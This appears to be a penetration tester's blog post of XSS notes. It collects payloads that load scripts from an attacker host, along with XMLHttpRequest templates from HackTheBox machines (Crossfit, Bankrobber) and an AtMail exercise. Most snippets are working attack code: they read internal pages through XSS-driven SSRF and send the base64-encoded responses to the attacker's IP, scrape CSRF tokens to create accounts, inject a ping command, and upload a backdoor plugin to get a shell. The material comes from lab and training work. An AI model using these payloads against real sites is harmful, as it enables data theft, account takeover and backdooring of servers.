3 minute read

Post mainly revolves around going beyond basic XSS payloads and utilising external Js to further our attack. XMLHttpRequest examples will likely come in handy during the course.

Executing External JS

  • create new script element pointing to external script, add new element to head of HTML doc so it executes
var script = document.createElement("script");
script.type = "text/javascript";
script.src = "http://ip/test.js";
document.getElementsByTagName("head")[0].appendChild(script);
<svg/onload=jQuery.getScript('http://attacker.com/xss.js')>
<script src="http://attacker.com/xss.js"></script>
  • SVG file external script execution via insecure file upload:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script src="http://attacker.com/xss.js">
</script>
</svg>

Many more methods exist.


Templates


Ajax Request Template

  • GET request:
var request = new XMLHttpRequest();
request.open('GET', 'http://ip/test');
request.onreadystatechange = function() {
    if((request.readyState===4) && (request.status===200))
    {
      console.log(request);
      document.writeln(request.responseText);
    }
}
request.send();


CSRF Token Parsing

var request = new XMLHttpRequest();    
request.onreadystatechange = function() {
    if (request.readyState == 4 && request.status == 200) {
        document.getElementById("result").innerHTML = request.responseText;
    }
};
var uid = document.getElementsByTagName("p")[0].innerHTML;
var csrf_token = document.getElementsByTagName("p")[1].innerHTML;
uid = uid.split(":")[1];
csrf_token = csrf_token.split(":")[1];
request.open("GET", "/endpoint?uid=" + uid + "&csrf_token=" + csrf_token, true);
request.send();


SSRF

Notes and snippets from Crossfit HTB machine.

  • we can use similar technique in any generic XSS payload where we can load an external script on our attacking machine:
<script src="http://10.10.15.34/test.js"></script>

test.js:

const Http = new XMLHttpRequest();
const url = 'http://ftp.crossfit.htb';
Http.open("GET", url);
Http.send();

Http.onreadystatechange = (e) => {
  var getOut = new XMLHttpRequest();
  var newurl = 'http://10.10.15.34/'+btoa(Http.responseText);
  getOut.open('GET', newurl, true);
  getOut.send();
}

We can use test.js to make a web request to an internal domain, base64 the output, and send to our attacking machine where we’ll receive the contents in the output of our Python3 server. The following requests demonstate POST requests using this method and extracting the CSRF token from the page before submitting:

  • post request and send the output to us:
const Http = new XMLHttpRequest();
const url = 'http://ftp.crossfit.htb/accounts';
const params = 'username=l0x&password=l0xpassword';
Http.open("POST", url, true);
Http.setRequestHeader('Content-type', 'application/x-www-formurlencoded'); 
Http.send(params);

Http.onreadystatechange = (e) => {
  var getOut = new XMLHttpRequest();
  var newurl = 'http://10.10.15.34/'+btoa(Http.responseText);
  getOut.open('GET', newurl, true);
  getOut.send();
}
  • demonstrate we can grab token and send to our http server (HTML parsing will obviously be different for other applications):
const Http = new XMLHttpRequest();
const url = 'http://ftp.crossfit.htb/accounts/create';
Http.open("GET", url);
Http.send();

Http.onreadystatechange = (e) => {
  var getOut = new XMLHttpRequest();

  var div = document.createElement('div');
  div.innerHTML = Http.responseText;
  var a = div.getElementsByTagName('input')[0].value;

  var newurl = 'http://10.10.15.34/'+btoa(a);
  getOut.open('GET', newurl, true);
  getOut.send();
}
  • extract token from page and send POST in one go:
req = new XMLHttpRequest();
req.withCredentials = true;
url = 'http://ftp.crossfit.htb/accounts/create';

req.onreadystatechange = function() {
    if (req.readyState == 4) {
    sendb64 = new XMLHttpRequest;
    sendb64.open('GET','http://10.10.15.34/'+btoa(this.responseText), false);
    sendb64.send();
    }
}

req.open("GET", url, false);
req.send();

div = document.createElement('div');
div.innerHTML = req.responseText;
token = div.getElementsByTagName('input')[0].value;

var params = '_token='+token+'&username=user&pass=pass&submit=submit';
req.open('POST', 'http://ftp.crossfit.htb/accounts', false);
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.send(params);
  • send HTTP request to another internal domain:
const Http = new XMLHttpRequest();
const url = 'http://development-test.crossfit.htb/test.php?cmd=id';
Http.open("GET", url);
Http.send();

Http.onreadystatechange = (e) => {
  var getOut = new XMLHttpRequest();
  var newurl = 'http://10.10.15.34/'+btoa(Http.responseText);
  getOut.open('GET', newurl, true);
  getOut.send();
}
  • another simple example from Bankrobber:
var http = new XMLHttpRequest();
var url = 'http://localhost/admin/backdoorchecker.php';
var params = 'cmd=dir+|+ping+10.10.15.123';
http.open('POST', url, true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.send(params);


Parse and print JSON

var request = new XMLHttpRequest();
request.open('GET', 'info.json');
request.onreadystatechange = function() {
    if((request.readyState===4) && (request.status===200))
    {
        var items = JSON.parse(request.responseText);
        var out = '<ul>';
        for (var key in items)
        {
          out += '<li>' +items[key].name + '</li>';
        }
        out += '</ul>';
        document.getElementByID('id').innerHTML = out;
    }
}
request.send();


Parse and print XML

var request = new XMLHttpRequest();
request.open('GET', 'info.xml');
request.onreadystatechange = function() {
    if((request.readyState===4) && (request.status===200))
    {
        var items = request.responseXML.getElementsByTagName('tag-id');
        var out = '<ul>';
        for (var i = 0; i < items.length; i++)
        {
          out+= '<li>' + items[i].firstChild.nodeValue + '</li>';
        }
        out += '</ul>';
        document.getElementById("id").innerHTML = out;
    }
}
request.send();


AtMail Template

function timeMsg()
{
	var t=setTimeout("getShell()",5000);
}

function getShell()
{
	var b64url ="http://172.16.164.130/index.php/admin/plugins/add/file/QmFja2Rvb3IudGd6";
 	xhr = new XMLHttpRequest();
	xhr.open("GET", b64url, true);
	xhr.send(null);

}
function fileUpload(url, fileData, fileName, nameVar, ctype) {

   var fileSize = fileData.length,
   boundary = "OWNEDBYOFFSEC",
   xhr = new XMLHttpRequest();
   xhr.open("POST", url, true);
   //  MIME POST request.
   xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
   xhr.setRequestHeader("Content-Length", fileSize);
   var body = "--" + boundary + "\r\n";
   body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
   body += "Content-Type: " + ctype + "\r\n\r\n";
   body += fileData + "\r\n";
   body += "--" + boundary + "--";

   //xhr.send(body);
   xhr.sendAsBinary(body);
   return true;
}

var nameVar  = "newPlugin";
var fileName = "Backdoor.tgz";
var url      = "http://172.16.164.130/index.php/admin/plugins/preinstall";
var ctype    = "application/x-gzip";
//var ctype    = "application/octet-stream";
//var data     = "\x44\x41\x42\x43\x44";
var data     = '\x1F\x8B\x08\x00\x44\x7A\x91\x4F\x00\x03\xED\x59\xED\x72\xDB\xC6' +
'\x15\x55\x3B\xD3\xE9\x88\xFF\xDB\xDF\x1B\x8D\xA6\x22\x27\x24\x48' +
//SNIPPED FOR BREVITY
'\x6F\x58\xFE\x0B\x3E\xE1\xD0\x84\x00\x50\x00\x00';

// UPLOAD THE THINGIE...
fileUpload(url,data,fileName,nameVar,ctype);
timeMsg();